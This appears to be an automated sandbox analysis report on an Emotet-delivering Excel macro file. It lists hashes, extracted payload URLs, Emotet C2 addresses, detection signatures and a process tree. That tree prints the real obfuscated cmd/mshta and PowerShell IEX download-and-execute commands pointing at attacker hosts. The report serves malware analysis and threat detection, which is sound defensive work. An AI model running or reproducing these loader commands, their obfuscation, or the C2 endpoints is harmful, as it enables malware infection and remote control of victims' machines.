Analysis
-
max time kernel
153s -
max time network
156s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 03:06
Behavioral task
behavioral1
Sample
92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a.xlsm
Resource
win10-en-20211208
General
-
Target
92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a.xlsm
-
Size
115KB
-
MD5
12f7a6aa0a09e355bd70c8291ae682e2
-
SHA1
ea7943806f839e871bb5c957d64850ca66118577
-
SHA256
92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a
-
SHA512
df6ee800f9bf4b2e9a60b8a371031410416992b4b1806900fdfc4d399e5c5cdf5efc53d62ce3f8549bdbe3e88e20f4c4cf6662d8b826d4c0cb082a53d0afb2a4
Malware Config
Extracted
http://0x5cff39c3/sec/se1.html
Extracted
http://92.255.57.195/sec/se1.png
Extracted
emotet
Epoch5
45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3772 712 cmd.exe 68 -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
-
Blocklisted process makes network request 5 IoCs
flow pid Process 39 1112 mshta.exe 40 1784 powershell.exe 42 1784 powershell.exe 45 3788 rundll32.exe 46 3788 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 2 IoCs
pid Process 1524 rundll32.exe 1796 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Fxdtqexwxnsfj\iojrj.juv rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 3976 1112 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 712 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 1784 powershell.exe 1784 powershell.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 3976 WerFault.exe 1784 powershell.exe 3788 rundll32.exe 3788 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1784 powershell.exe Token: SeDebugPrivilege 3976 WerFault.exe -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE 712 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 712 wrote to memory of 3304 712 EXCEL.EXE 71 PID 712 wrote to memory of 3304 712 EXCEL.EXE 71 PID 712 wrote to memory of 3772 712 EXCEL.EXE 72 PID 712 wrote to memory of 3772 712 EXCEL.EXE 72 PID 3772 wrote to memory of 1112 3772 cmd.exe 74 PID 3772 wrote to memory of 1112 3772 cmd.exe 74 PID 1112 wrote to memory of 1784 1112 mshta.exe 76 PID 1112 wrote to memory of 1784 1112 mshta.exe 76 PID 1784 wrote to memory of 1372 1784 powershell.exe 79 PID 1784 wrote to memory of 1372 1784 powershell.exe 79 PID 1372 wrote to memory of 1524 1372 cmd.exe 80 PID 1372 wrote to memory of 1524 1372 cmd.exe 80 PID 1372 wrote to memory of 1524 1372 cmd.exe 80 PID 1524 wrote to memory of 1796 1524 rundll32.exe 81 PID 1524 wrote to memory of 1796 1524 rundll32.exe 81 PID 1524 wrote to memory of 1796 1524 rundll32.exe 81 PID 1796 wrote to memory of 3672 1796 rundll32.exe 82 PID 1796 wrote to memory of 3672 1796 rundll32.exe 82 PID 1796 wrote to memory of 3672 1796 rundll32.exe 82 PID 3672 wrote to memory of 3788 3672 rundll32.exe 83 PID 3672 wrote to memory of 3788 3672 rundll32.exe 83 PID 3672 wrote to memory of 3788 3672 rundll32.exe 83
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\92f01f34d0d3d902538fa84268d937ddcbfb4e40234b4a97b1b50a227a002f1a.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:712 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:3304
-
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se1.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:1372 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fxdtqexwxnsfj\iojrj.juv",ccVPqeAWA8⤵
- Suspicious use of WriteProcessMemory
PID:3672 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fxdtqexwxnsfj\iojrj.juv",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3788
-
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1112 -s 16924⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3976
-
-
-